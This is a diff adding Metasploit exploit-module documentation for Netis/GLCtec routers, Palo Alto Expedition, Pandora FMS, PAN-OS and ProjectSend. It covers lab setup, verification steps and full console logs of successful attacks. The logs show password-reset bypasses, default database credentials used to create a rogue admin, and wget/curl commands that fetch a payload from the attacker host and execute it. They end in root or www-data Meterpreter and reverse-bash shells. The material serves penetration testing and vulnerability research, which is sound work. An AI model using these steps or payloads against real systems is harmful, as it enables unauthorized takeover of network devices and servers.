+* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
+* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem.
+* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
+* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
+* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet.
+* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration.
+* Start emulation.
+* First run `./init.sh` to initialize and start the Postgress database.
+* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin`
+* This will take a while, but in the end you should see the following...
+```shell
+ # ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin
+[*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!!
+[*] extract done!!!
+[*] get architecture done!!!
+mke2fs 1.47.0 (5-Feb-2023)
+e2fsck 1.47.0 (5-Feb-2023)
+[*] infer network start!!!
+[IID] 15
+[MODE] debug
+[+] Network reachable on 192.168.1.254!
+[+] Web service on 192.168.1.254
+[+] Run debug!
+Creating TAP device tap15_0...
+Set 'tap15_0' persistent and owned by uid 0
+Bringing up TAP device...
+Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412
+/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
+ import telnetlib
+[*] firmware - GLC_ALPHA_AC3-V3.0.2.115
+[*] IP - 192.168.1.254
+[*] connecting to netcat (192.168.1.254:31337)
+[+] netcat connected
+------------------------------
+| FirmAE Debugger |
+------------------------------
+1. connect to socat
+2. connect to shell
+3. tcpdump
+4. run gdbserver
+5. file transfer
+6. exit
+```
+* check if you can `ping` the emulated router and run `nmap` to check the ports
+```shell
+ # ping 192.168.1.254
+PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data.
+64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms
+64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms
+64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms
+^C
+--- 192.168.1.254 ping statistics ---
+3 packets transmitted, 3 received, 0% packet loss, time 2003ms
+rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms
+ # nmap 192.168.1.254
+Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC
+Nmap scan report for 192.168.1.254
+Host is up (0.020s latency).
+Not shown: 996 closed tcp ports (reset)
+PORT STATE SERVICE
+22/tcp open ssh
+53/tcp open domain
+80/tcp open http
+443/tcp open https
+MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor)
+
+Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
+```
+You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254
+
+## Verification Steps
+- [x] Start `msfconsole`
+- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457`
+- [x] `set rhosts `
+- [x] `set lhost `
+- [x] `set target <0=Linux Dropper>`
+- [x] `exploit`
+
+you should get a `Meterpreter` session.
+
+```msf
+msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info
+
+ Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).
+ Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457
+ Platform: Linux
+ Arch: mipsle
+ Privileged: Yes
+ License: Metasploit Framework License (BSD)
+ Rank: Excellent
+ Disclosed: 2024-12-27
+
+Provided by:
+ h00die-gr3y
+
+Module side effects:
+ ioc-in-logs
+ artifacts-on-disk
+
+Module stability:
+ crash-safe
+
+Module reliability:
+ repeatable-session
+
+Available targets:
+ Id Name
+ -- ----
+ => 0 Linux Dropper
+
+Check supported:
+ Yes
+
+Basic options:
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS 192.168.1.254 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
+ s/using-metasploit.html
+ RPORT 80 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ SSLCert no Path to a custom SSL certificate (default is randomly generated)
+ TARGETURI / yes The Netis router endpoint URL
+ URIPATH no The URI to use for this exploit (default is random)
+ VHOST no HTTP server virtual host
+
+
+ When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
+ local machine or 0.0.0.0 to listen on all addresses.
+ SRVPORT 1981 yes The local port to listen on.
+
+Payload information:
+
+Description:
+ Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection
+ vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).
+ The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the
+ router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,
+ encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to
+ command execution, potentially allowing the attacker to take full control of the router.
+ An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated
+ attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE.
+
+ Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration
+ information of the router which can be used by the attacker to determine if the router is running specific vulnerable
+ firmware.
+
+ The following router firmware versions are vulnerable:
+ * netis_MW5360_V1.0.1.3031_fw.bin
+ * Netis_MW5360-1.0.1.3442.bin
+ * Netis_MW5360_RUSSIA_844.bin
+ * netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
+ * netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
+ * netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
+ * Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
+ * netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
+ * netis_NC65_V3.0.0.3749.bin
+ * Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
+ * Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
+ * netis_NX10_V2.0.1.3582_fw.bin
+ * netis_NX10_V2.0.1.3643.bin
+ * Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
+ * netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
+ * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
+ * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
+ * Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
+ * GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
+ * potentially others...
+
+References:
+ https://nvd.nist.gov/vuln/detail/CVE-2024-48455
+ https://nvd.nist.gov/vuln/detail/CVE-2024-48456
+ https://nvd.nist.gov/vuln/detail/CVE-2024-48457
+ https://github.com/users/h00die-gr3y/projects/1
+
+View the full module info with the info -d command.
+```
+## Options
+### CMD_DELAY
+Chained command lines using `;` do not work, so each command need to be executed in a separate request
+with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option.
+
+## Scenarios
+### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp
+```msf
+msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit
+[*] Reloading module...
+[*] Started reverse TCP handler on 192.168.1.253:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking if 192.168.1.254:80 can be exploited.
+[+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115
+[*] Resetting router password for authentication.
+[*] Logging in with the new router password 4vNcez42D to get the password cookie.
+[*] Saving router credentials (root) at the msf database.
+[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp
+[*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J
+[*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J
+[*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J
+[*] Sending payload to 192.168.1.254 (Wget)
+[*] Command Stager progress - 53.85% done (63/117 bytes)
+[*] Executing chmod +x /tmp/hMvelDeE
+[*] Command Stager progress - 72.65% done (85/117 bytes)
+[*] Executing /tmp/hMvelDeE
+[+] Deleted /tmp/hMvelDeE
+[*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000
+[*] Command Stager progress - 83.76% done (98/117 bytes)
+[*] Command Stager progress - 100.00% done (117/117 bytes)
+[*] Server stopped.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 192.168.1.254
+OS : (Linux 3.10.90)
+Architecture : mips
+BuildTuple : mipsel-linux-muslsf
+Meterpreter : mipsle/linux
+meterpreter > pwd
+/etc/boa
+meterpreter > ls
+Listing: /etc/boa
+=================
+
+Mode Size Type Last modified Name
+---- ---- ---- ------------- ----
+100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf
+100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types
+
+meterpreter >
+```
+## Limitations
+Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target.
+Another limitation is that the router has a very limited command set that can be leveraged,
+so the only option is to use the `wget` command to drop an executable on the target to get a session.
+Chained command lines using `;` do not work, so each command need to be executed in a separate request
+with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option).
+
+Last but not least, be mindful that the admin router password gets overwritten by the exploit,
+resulting in a clear indicator of compromise.
diff --git a/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md b/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md
new file mode 100644
index 000000000000..58fe156ad14a
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md
@@ -0,0 +1,113 @@
+## Vulnerable Application
+
+This module exploits two vulnerabilities in Palo Alto Expedition to obtain a remote shell. The first vulnerability, CVE-2024-5910, allows to
+reset the password of the admin user. The second vulnerability, CVE-2024-9464, is an authenticated OS command injection.
+
+When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will
+first try to reset the admin password and then perform the OS command injection. In a default installation, commands will get executed in
+the context of www-data.
+
+Note: If no credentials are available, the module will attempt to reset the admin password. For this, the parameter RESET_ADMIN_PASSWD must
+explicitly be set to true.
+
+## Testing
+
+The software can be obtained from
+[the vendor](https://live.paloaltonetworks.com/t5/expedition/ct-p/migration_tool).
+
+Installation instructions are available [here]
+(https://live.paloaltonetworks.com/t5/expedition-articles/expedition-documentation/ta-p/215619?attachment-id=13781).
+
+**Successfully tested on**
+
+- Expedition v1.2.91 on Ubuntu Server 20.04.1.
+
+## Verification Steps
+
+1. Install and run the application
+2. Start `msfconsole` and run the following commands:
+
+```
+msf6 > msf6 > use exploit/linux/http/paloalto_expedition_rce
+[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/paloalto_expedition_rce) > set RHOSTS
+msf6 exploit(linux/http/paloalto_expedition_rce) > exploit
+```
+
+You should get a meterpreter session in the context of `www-data`.
+
+## Options
+
+### USERNAME
+Username for authentication, if available.
+
+### PASSWORD
+Password for the associated user.
+### WRITABLE_DIR
+A writable location for the exploit to stage the command payload.
+
+### RESET_ADMIN_PASSWD
+If the username and password are not specified, the module will attempt to reset the admin password to the default password `paloalto`. This
+is also done to authenticate and retrieve the exact version information, in case no credentials have been provided. As this alters the
+configuration of the target system, the `RESET_ADMIN_PASSWD` parameter serves as a safeguard that must explicility set to true before the
+reset endpoint is being invoked.
+
+## Scenarios
+
+Running the exploit against Expedition v1.2.91 on Ubuntu Server 20.04.1, using curl or wget as a fetch command, should result in an output
+similar to the following:
+
+```
+msf6 exploit(linux/http/paloalto_expedition_rce) > exploit
+
+[*] Command to run on remote host: curl -so /tmp/zRe http://192.168.137.204:8080/qv_gAdz7yjcgH-ohM3GesA; chmod +x /tmp/zRe; /tmp/zRe &
+[*] Fetch handler listening on 192.168.137.204:8080
+[*] HTTP server started
+[*] Adding resource /qv_gAdz7yjcgH-ohM3GesA
+[*] Started reverse TCP handler on 192.168.137.204:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] Admin password successfully restored to default value paloalto (CVE-2024-5910).
+[+] Successfully authenticated
+[*] Got csrftoken: MTczMTM4MjY0NUNRV0RkNXBXR3Vic2hkR1ZZTHBSQTd1cWY5MjVWYWIw
+[*] Version retrieved: 1.2.91
+[+] The target appears to be vulnerable.
+[*] Command chunk size = 30
+[+] Successfully authenticated
+[*] Got csrftoken: MTczMTM4MjY0NnpDVDRUcXdDRWhvZ09HWDNnMFdHUW81cXU2aHppTEdE
+[*] Adding a new cronjob...
+[*] Staging chunk 1 of 9
+[*] Running command: echo -n "echo Y3VybCAtc28gL3RtcC96UmUga" > /tmp/fglGT
+[*] Staging chunk 2 of 9
+[*] Running command: echo -n "HR0cDovLzE5Mi4xNjguMTM3LjIwNDo" >> /tmp/fglGT
+[*] Staging chunk 3 of 9
+[*] Running command: echo -n "4MDgwL3F2X2dBZHo3eWpjZ0gtb2hNM" >> /tmp/fglGT
+[*] Staging chunk 4 of 9
+[*] Running command: echo -n "0dlc0E7IGNobW9kICt4IC90bXAvelJ" >> /tmp/fglGT
+[*] Staging chunk 5 of 9
+[*] Running command: echo -n "lOyAvdG1wL3pSZSAm|((command -v" >> /tmp/fglGT
+[*] Staging chunk 6 of 9
+[*] Running command: echo -n " base64 >/dev/null && (base64 " >> /tmp/fglGT
+[*] Staging chunk 7 of 9
+[*] Running command: echo -n "--decode || base64 -d)) || (co" >> /tmp/fglGT
+[*] Staging chunk 8 of 9
+[*] Running command: echo -n "mmand -v openssl >/dev/null &&" >> /tmp/fglGT
+[*] Staging chunk 9 of 9
+[*] Running command: echo -n " openssl enc -base64 -d))|sh" >> /tmp/fglGT
+[+] Command staged; command execution requires a timeout and will take a few seconds.
+[*] Running command: cat /tmp/fglGT | sh && rm /tmp/fglGT
+[*] Client 192.168.137.205 requested /qv_gAdz7yjcgH-ohM3GesA
+[*] Sending payload to 192.168.137.205 (curl/7.68.0)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 192.168.137.205
+[*] Meterpreter session 10 opened (192.168.137.204:4444 -> 192.168.137.205:58030) at 2024-11-11 22:37:40 -0500
+[*] Check thy shell.
+
+meterpreter > sysinfo
+Computer : 192.168.137.205
+OS : Ubuntu 20.04 (Linux 5.4.0-42-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter > getuid
+Server username: www-data
+```
diff --git a/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md
new file mode 100644
index 000000000000..62090f359593
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md
@@ -0,0 +1,210 @@
+## Vulnerable Application
+Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
+This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS.
+You need have admin access at the Pandora FMS Web application in order to execute this RCE.
+This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker
+to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
+Pandora FMS Web application.
+This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
+This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4`
+
+The following releases were tested.
+
+**Pandora FMS Releases:**
+* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
+* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
+* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
+* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)
+
+## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
+* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
+* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
+* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
+* Install the iso image in your virtualization engine.
+* When installed, configure the VM appliance to your needs using the menu options.
+* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
+* or via the `webui` via `http://your_ip/pandora_console/index.php`.
+
+* Note: from version `v7.0NG.760` follow the installation manual below:
+* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).
+
+You are now ready to test the module.
+
+## Verification Steps
+- [ ] Start `msfconsole`
+- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320`
+- [ ] `set rhosts `
+- [ ] `set rport `
+- [ ] `set lhost `
+- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
+- [ ] `exploit`
+- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
+
+## Options
+
+### USERNAME
+This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.
+
+### PASSWORD
+This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.
+
+### DB_USER
+This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.
+
+### DB_PASSWORD
+This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
+Note: In older versions, this password is set to `pandora` during installation of the application.
+
+### DB_PORT
+This option is required and is the MySQL database port (default: 3306) to connect to the database.
+
+## Scenarios
+```msf
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info
+
+ Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password
+ Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320
+ Platform: Unix, Linux, PHP
+ Arch: cmd, php
+ Privileged: Yes
+ License: Metasploit Framework License (BSD)
+ Rank: Excellent
+ Disclosed: 2024-11-21
+
+Provided by:
+ h00die-gr3y
+ Askar mhaskar
+
+Module side effects:
+ artifacts-on-disk
+ ioc-in-logs
+
+Module stability:
+ crash-safe
+
+Module reliability:
+ repeatable-session
+
+Available targets:
+ Id Name
+ -- ----
+ => 0 PHP Command
+ 1 Unix/Linux Command
+
+Check supported:
+ Yes
+
+Basic options:
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ DB_NAME pandora yes Pandora database
+ DB_PASSWORD Pandor4! yes Pandora database admin password
+ DB_PORT 3306 yes MySQL database port
+ DB_USER pandora yes Pandora database admin user
+ PASSWORD pandora no Pandora web admin password
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
+ g-metasploit.html
+ RPORT 80 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ TARGETURI /pandora_console yes Path to the Pandora FMS application
+ USERNAME admin no Pandora web admin user
+ VHOST no HTTP server virtual host
+
+Payload information:
+
+Description:
+ Pandora FMS is a monitoring solution that provides full observability for your organization's
+ technology. This module exploits an command injection vulnerability in the LDAP authentication
+ mechanism of Pandora FMS.
+ You need have admin access at the Pandora FMS Web application in order to execute this RCE.
+ This access can be achieved leveraging a default password vulnerability in Pandora FMS that
+ allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
+ administrative access to the Pandora FMS Web application. This attack can be remotely executed
+ over the WAN as long as the MySQL services are exposed to the outside world.
+ This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4
+
+References:
+ https://nvd.nist.gov/vuln/detail/CVE-2024-11320
+ https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/
+ https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320
+
+View the full module info with the info -d command.
+```
+### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target
+Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
+to gain the privileges for the RCE.
+```msf
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx
+password => xxx
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6
+rhosts => 192.168.201.6
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
+[*] Started reverse TCP handler on 192.168.201.8:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
+[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
+[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
+[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application.
+[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application.
+[*] Succesfully authenticated at the Pandora FMS Web application.
+[*] Saving admin credentials at the msf database.
+[*] Executing PHP Command for php/meterpreter/reverse_tcp
+[*] Sending stage (40004 bytes) to 192.168.201.6
+[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000
+[+] Payload is successful removed from LDAP configuration.
+
+meterpreter > sysinfo
+Computer : cuckoo
+OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data
+meterpreter > pwd
+/var/www/html/pandora_console
+meterpreter >
+```
+### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
+Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
+to gain the privileges for the RCE.
+```msf
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1
+target => 1
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash
+payload => cmd/unix/reverse_bash
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora
+password => pandora
+msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
+[*] Started reverse TCP handler on 192.168.201.8:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
+[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
+[*] Succesfully authenticated at the Pandora FMS Web application.
+[*] Saving admin credentials at the msf database.
+[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
+[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000
+[+] Payload is successful removed from LDAP configuration.
+
+pwd
+/var/www/html/pandora_console
+id
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+uname -a
+Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
+```
+
+## Limitations
+In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
+to the MySQL database with the default database credentials.
+This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
+You can check this with the SQL command below if you have local access to the database.
+```
+SELECT host FROM mysql.user WHERE user = "pandora";
++-----------+
+| host |
++-----------+
+| 127.0.0.1 |
+| localhost |
++-----------+
+```
+In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md
new file mode 100644
index 000000000000..29a2bb0bdbc6
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md
@@ -0,0 +1,113 @@
+## Vulnerable Application
+This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
+vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
+execute arbitrary code with root privileges.
+
+The following versions are affected:
+ * PAN-OS 11.2 (up to and including 11.2.4-h1)
+ * PAN-OS 11.1 (up to and including 11.1.5-h1)
+ * PAN-OS 11.0 (up to and including 11.0.6-h1)
+ * PAN-OS 10.2 (up to and including 10.2.12-h2)
+
+## Testing
+Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example
+`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter
+will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup
+by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully
+run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed
+to change this upon logging in for the first time.
+
+The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the
+payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`,
+and `cmd/unix/reverse_bash`.
+
+## Verification Steps
+
+1. Start msfconsole
+2. `use exploit/linux/http/panos_management_unauth_rce`
+3. `set RHOST `
+4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
+5. `set LHOST eth0`
+5. `set LPORT 4444`
+6. `check`
+7. `exploit`
+
+## Options
+
+### WRITABLE_DIR
+The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the
+payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted.
+
+## Scenarios
+
+### Default
+
+```
+msf6 exploit(linux/http/panos_management_unauth_rce) > show options
+
+Module options (exploit/linux/http/panos_management_unauth_rce):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 443 yes The target port (TCP)
+ SSL true no Negotiate SSL/TLS for outgoing connections
+ VHOST no HTTP server virtual host
+ WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target.
+
+
+Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE false yes Attempt to delete the binary after execution
+ FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
+ LHOST 192.168.86.42 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Default
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/panos_management_unauth_rce) > check
+[+] 192.168.86.100:443 - The target is vulnerable.
+msf6 exploit(linux/http/panos_management_unauth_rce) > exploit
+
+[*] Started reverse TCP handler on 192.168.86.42:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable.
+[*] Uploading payload chunk 1 of 7...
+[*] Uploading payload chunk 2 of 7...
+[*] Uploading payload chunk 3 of 7...
+[*] Uploading payload chunk 4 of 7...
+[*] Uploading payload chunk 5 of 7...
+[*] Uploading payload chunk 6 of 7...
+[*] Uploading payload chunk 7 of 7...
+[*] Amalgamating payload chunks...
+[*] Executing payload...
+[*] Sending stage (3045380 bytes) to 192.168.86.100
+[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 192.168.86.100
+OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md
new file mode 100644
index 000000000000..9511e2ee287a
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md
@@ -0,0 +1,114 @@
+## Vulnerable Application
+ProjectSend is a web application used for sharing files with clients.
+
+Due to POST parameters being executed before checking user permissions,
+it is possible to perform a series of actions that can result in unauthenticated Remote Code Execution (RCE)
+on vulnerable versions of ProjectSend.
+
+This module has been tested against ProjectSend versions r1295 through r1605 on Linux.
+
+The easiest way to obtain a vulnerable version of ProjectSend is by deploying it using Docker, as pre-made images exist for the software.
+The following Docker Compose file can be used to set up a vulnerable environment.
+
+```
+---
+ services:
+ projectsend:
+ image: lscr.io/linuxserver/projectsend:version-r1605
+ container_name: projectsend
+ environment:
+ - PUID=1000
+ - PGID=1000
+ - TZ=Etc/UTC
+ - MAX_UPLOAD=5000
+ volumes:
